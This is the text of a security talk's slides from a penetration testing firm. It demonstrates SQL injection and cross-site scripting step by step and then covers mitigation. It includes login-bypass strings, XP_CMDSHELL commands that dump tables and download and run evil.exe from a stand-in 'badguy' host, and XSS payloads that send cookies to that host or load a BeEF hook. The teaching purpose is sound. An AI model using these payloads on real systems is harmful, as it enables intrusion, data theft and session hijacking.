About 403 Labs

• 403 Labs is a full-service information security and compliance consulting company
  • Compliance
    • HIPAA/HITECH, PCI DSS, GLBA, SSAE 16 (SAS 70)
  • Professional Services
    • Penetration testing, forensics, vulnerability scanning, IT audits, policies & procedures, risk assessments, security awareness training
whoami /all

- Manager of Penetration Testing and penetration tester at 403 Labs, LLC
- Former developer & systems administrator
- Wisconsin CCDC Red Team member
- Open source contributor
  - Metasploit & Recon-ng
- Milwaukee OWASP chapter member
- Locksport (lockpicking) enthusiast
Agenda

- Web Application Security and OWASP
- SQL Injection
- Cross-Site Scripting
- Mitigation
Agenda

- Web Application Security and OWASP
- SQL Injection
- Cross-Site Scripting
- Mitigation
What is Web Application Security?

• Securing the “custom code” that drives a web application, including:
  • Web application code (dynamic sites)
  • Underlying software libraries (frameworks)
  • Backend systems (database, reporting, etc.)
  • Web services (APIs)
  • Not network security
In fact...

“Research has shown that the application layer is responsible for over 90 percent of all security vulnerabilities, yet more than 80 percent of IT security spending continues to be at the network layer, primarily focused on perimeter security.”

- Ponemon Institute

The State of Application Security, August, 2013
What is OWASP?

• Open Web Application Security Project
  • Promotes secure software development
  • Focused primarily on the “backend” rather than web-design issues
  • An open forum for discussion
  • A free resource for any development team
OWASP Publications

• Top 10 Web Application Security Vulnerabilities
  • Updated about every three years
  • Addresses issues with web-based applications
  • Growing industry acceptance
    • Federal Trade Commission (US Gov)
    • US Defense Information Systems Agency
    • PCI Data Security Standard (PCI DSS)
OWASP Top 10 2013

1. Injection
2. Broken Authentication and Session Management
3. Cross-Site Scripting (XSS)
4. Insecure Direct Object References
5. Security Misconfiguration
6. Sensitive Data Exposure
7. Missing Function Level Access Control
8. Cross-Site Request Forgery (CSRF)
9. Using Components with Known Vulnerabilities
10. Unvalidated Redirects and Forwards
OWASP Top 10 2013

1. Injection
2. Broken Authentication and Session Management
3. Cross-Site Scripting (XSS)
4. Insecure Direct Object References
5. Security Misconfiguration
6. Sensitive Data Exposure
7. Missing Function Level Access Control
8. Cross-Site Request Forgery (CSRF)
9. Using Components with Known Vulnerabilities
10. Unvalidated Redirects and Forwards
Agenda

- Web Application Security and OWASP
- **SQL Injection**
  - Step 1: Break the Application
  - Step 2: Bypass Authentication
  - Step 3: Extract Data
  - Step 4: Command Injection
- Cross-Site Scripting
- Mitigation
What is SQL?

- Structured Query Language (SQL)
  - Standard language for getting information from and updating a database
  - Originally “Structured English QUEry Language” or SEQUEL
Our SQL query:

```sql
SELECT * 
FROM users 
WHERE username = '$username' AND password = '$password'
```
SQL Structure

• Our SQL query:

```
SELECT * 
FROM users 
WHERE username = '$username' AND password = '$password'
```
**SQL Structure**

- Our SQL query:

```sql
SELECT * 
FROM users
WHERE username = '$_username' AND password = '$_password'
```
SQL Structure

• Our SQL query:

```sql
SELECT *
FROM users
WHERE username = '$username' AND password = '$password'
```
SQL Structure

• Our SQL query:

```sql
SELECT *  
FROM users  
WHERE username = '$_username' AND password = '$_password'
```
What is SQL Injection?

• SQL injection is an attack that changes the expected input to run database commands that were not originally intended.

• Typically ranked as the highest risk web application vulnerability.

• Around since 1998… that’s 16 years!
Two-Tier SQL Injection
What’s the Risk?

- Exfiltration of database contents
- OS command execution
- Authentication bypass
- Bypass DMZ restrictions and security controls
- Website defacement
What Causes SQL Injection?

• Unvalidated and unsanitized user input
• Dynamic SQL queries
Agenda

• Web Application Security and OWASP
• **SQL Injection**
  • **Step 1: Break the Application**
  • Step 2: Bypass Authentication
  • Step 3: Extracting Data
  • Step 4: Command Injection
• Cross-Site Scripting
• Mitigation
Step 1: Break the Application

• In order to test an application, we want to provide input it is not expecting

• Our SQL query:

```sql
SELECT *
FROM users
WHERE username = '' AND password = ''
```
Step 1: Break the Application

- This produces a database error:
  - [Unclosed quotation mark after the character string " and password = ".]
Agenda

• Web Application Security and OWASP

• SQL Injection
  • Step 1: Break the Application
  • Step 2: Bypass Authentication
  • Step 3: Extract Data
  • Step 4: Command Injection

• Cross-Site Scripting

• Mitigation
Step 2: Bypass Authentication

Revisit our SQL query:

```sql
SELECT * 
FROM users 
WHERE username = '$username' AND password = '$password'
```
Step 2: Bypass Authentication

Rewrite our SQL query:

```sql
SELECT * 
FROM users 
WHERE username = '' OR 1=1-- ' AND password = ''
```
Step 2: Bypass Authentication

Rewrite our SQL query:

```sql
SELECT * 
FROM users 
WHERE username = 'jsmith'--' AND password = ''
```
Agenda

• Web Application Security and OWASP

• **SQL Injection**
  • Step 1: Break the Application
  • Step 2: Bypass Authentication
  • **Step 3: Extract Data**
    • Step 4: Command Injection

• Cross-Site Scripting

• Mitigation
Step 3: Extract Data

• Methods for extraction
  • Manual
    • Individual queries (tedious)
    • “Backup” methods
  • Automated tools
    • sqlmap
    • Havij
Step 3: Extract Data

- sqlmap
  - Automatic SQL injection and database takeover tool
  - Extract database table data
  - Execute arbitrary database commands
  - Create out-of-band communication channels
Agenda

- Web Application Security and OWASP
- **SQL Injection**
  - Step 1: Break the Application
  - Step 2: Bypass Authentication
  - Step 3: Extract Data
  - **Step 4: Command Injection**
- Cross-Site Scripting
- Mitigation
Step 4: Command Injection

• Microsoft SQL Server contains an extended procedure known as “XP_CMDSHELL”
  • Operating-system command shell
  • Usually administrative-level privileges
Step 4: Command Injection

We can use XP_CMDSHELL to run commands on the database server:

```
SELECT *
FROM users
WHERE username = ''; EXEC MASTER..XP_CMDSHELL 'dir > c:\webapp\dir.txt'--' AND password = ''
```
Step 4: Command Injection

We can use XP_CMDSHELL to dump all the data:

```
SELECT  *
FROM    users
WHERE   username = '' ; EXEC
         MASTER..XP_CMDSHELL 'bcp "SELECT *
FROM insecure_app..users" queryout
c:\webapp\dump.txt -T -c''--' AND
password = ''
```
Step 4: Command Injection

XP_CMDSHELL could also be used to transfer files:

```sql
SELECT * 
FROM users 
WHERE username = '; EXEC MASTER..XP_CMDSHELL 'bitsadmin /transfer n http://badguy/evil.exe c:\evil.exe'--' AND password = ''
```
Step 4: Command Injection

Establish an outgoing interactive session:

```
SELECT *
FROM users
WHERE username = ' '; EXEC MASTER..XP_CMDSHELL 'cmd /c evil.exe'--' AND password = ''
```
OMG! What have we done?! 

- Found an SQL injection vulnerability
- Bypassed password security
- Logged into multiple user accounts
- Extracted raw data
- Executed arbitrary commands
- Recovered system passwords
Agenda

- Web Application Security and OWASP
- SQL Injection
- **Cross-Site Scripting**
  - Step 1: Break the Application
  - Step 2: Run Arbitrary Scripts
  - Step 3: Steal a Session
  - Step 4: Control the Browser
- Mitigation
What is Cross-Site Scripting?

• A cross-site scripting (XSS) vulnerability allows an attacker to **execute malicious client-side code** in a user’s browser on an otherwise trusted site.

• XSS attacks the users of a web application.

• Two primary types – Reflected & Stored.

• Around since 1999… that’s 15 years!
Reflected XSS

1. Link containing XSS
2. Clicks on Link
3. Rendered XSS
4. XSS Payload Executed

Attacker Site → Victim

Attacker Site → Attacker

Legitimate Site → Victim

Legitimate Site → Attacker Site
Stored XSS

1. Embedded XSS
2. Browsed to Exploit
3. Rendered XSS
4. XSS Payload Executed

Victim
Attacker
Legitimate Site
Attacker Site
What’s the Risk?

- Stolen user sessions
- Malware installation
- Keystroke loggers
- Privilege escalation
- Social engineering
What Causes XSS?

- Unvalidated and unsanitized user input
- Improperly encoded output
Agenda

• Web Application Security and OWASP
• SQL Injection

**Cross-Site Scripting**

• **Step 1: Break the Application**
• Step 2: Run Arbitrary Scripts
• Step 3: Steal a Session
• Step 4: Control the Browser

• Mitigation
Step 1: Break the Application

- Let us search (as our developers intended us to):

  http://goodguy/?term=alice
Step 1: Break the Application

• Let us get a little mischievous with our search:

  http://goodguy/?term=<font size=10 color=red>Howdy!</font>
Agenda

• Web Application Security and OWASP
• SQL Injection
• **Cross-Site Scripting**
  • Step 1: Break the Application
  • **Step 2: Run Arbitrary Scripts**
  • Step 3: Steal a Session
  • Step 4: Control the Browser
• Mitigation
Step 2: Run Arbitrary Scripts

• Let us see if we can execute some JavaScript:

http://goodguy/?term=
<script>alert(document.cookie)</script>
Agenda

• Web Application Security and OWASP
• SQL Injection
• **Cross-Site Scripting**
  • Step 1: Break the Application
  • Step 2: Run Arbitrary Scripts
  • **Step 3: Steal a Session**
  • Step 4: Control the Browser
• Mitigation
Step 3: Steal a Session

• Steal the user’s session by sending the cookie back to our server:

http://goodguy/?term=<script>$\cdot$.get("http://badguy?"+document.cookie)\</script>
Agenda

• Web Application Security and OWASP
• SQL Injection
• Cross-Site Scripting
  • Step 1: Break the Application
  • Step 2: Run Arbitrary Scripts
  • Step 3: Steal a Session
  • Step 4: Control the Browser
• Mitigation
Step 4: Control the Browser

• What could we do if we controlled the browser?
  • Install malware
  • Keystroke logging
  • Social engineering
  • Malicious redirects
Step 4: Control the Browser

- Got BeEF? – The Browser Exploitation Framework
  - Man-in-the-browser
  - Keystoke logging
  - Browser exploitation with Metasploit
  - Social engineering
Step 4: Control the Browser

• Hook the user’s browser so we can control it:

http://goodguy/?term=

<script src="http://badguy/hook.js"></script>
OMG! What have we done?! 

- Executed arbitrary scripts
- Ran nasty code to steal a session
- Took control of a browser
Agenda

• Web Application Security and OWASP
• SQL Injection
• Cross-Site Scripting
• Mitigation
Mitigation Against Attacks

• Input validation
  • Check input for validity
  • Only accept good input
  • Reject bad input
…Specifically Against SQLi

- **Use parameterized queries**
- **Use stored procedures**
- **Validate & properly escape user input**
  - For example, `username='O'Malley'` becomes "O''Malley" or "O\'Malley"
  - However, not all SQL injection uses quotes:
    - `userid=4; DROP TABLE users`—
…Specifically Against XSS

- **Context encode user input**
- **HTML - escape entities**
  - For example, search='&lt;script&gt;' becomes ‘&lt;script&gt;’
  - However, not all cross-site scripting uses brackets:
    - " onMouseOver=do.something.nasty;"
Mitigation Against Attacks (cont.)

- Accept only good input
  - Check that the character set matches what is expected
    - Example, [A-Za-z0-9]
  - Remember that some languages can interpret numbers as strings
    - Example, if($id > 2) where $id = "4; DROP TABLE users--"
Mitigation Against Attacks (cont.)

- Reject bad input, when appropriate:
  - SQLi - select, insert, update, delete, drop, union, ' -- xp_cmdshell, etc.
  - XSS - <script>, onMouseOver, onMouseClick, javascript, iframe, etc.
  - daviddroper@example.com... Oops!
Mitigation Against Attacks (cont.)

Hi, this is your son's school. We're having some computer trouble.

Oh, dear - did he break something? In a way -

Did you really name your son Robert?); drop table Students; --?

Oh, yes. Little Bobby Tables, we call him.

Well, we've lost this year's student records. I hope you're happy.

And I hope you've learned to sanitize your database inputs.

http://xkcd.com/327/
General Mitigation

• Education
  • Research the OWASP Top Ten
  • Try OWASP WebGoat yourself to learn how flaws work
  • Learn to spot bad code & bad design
General Mitigation (cont.)

• Reviews
  • Have expert code review and penetration testing performed periodically

• Technology (helps but doesn’t replace good code)
  • Web Application Firewalls (WAF)
  • Intrusion Prevention Systems (IPS)
  • Intrusion Detection Systems (IDS)
  • File Integrity Monitoring (FIM)
Mitigation by Role

• Customers
  • Demand web applications that are secure
  • Make it part of product purchase criteria
Mitigation by Role (cont.)

• Developers
  • Take responsibility for securing your code
  • Update your skillsets

• Software Development Organizations
  • Start with security requirements covering OWASP Top Ten
  • Use secure coding guidelines
Mitigation by Role (cont.)

• Managers
  • Split your security budget between network and application
  • Make security part of developer performance reviews
References

- The Open Web Application Security Project (OWASP)
  www.owasp.org

- Ponemon Institute (Research)
  www.ponemon.org/library
Thank You!

Zach Grace
zgrace@403labs.com
www.403labs.com
877.403.LABS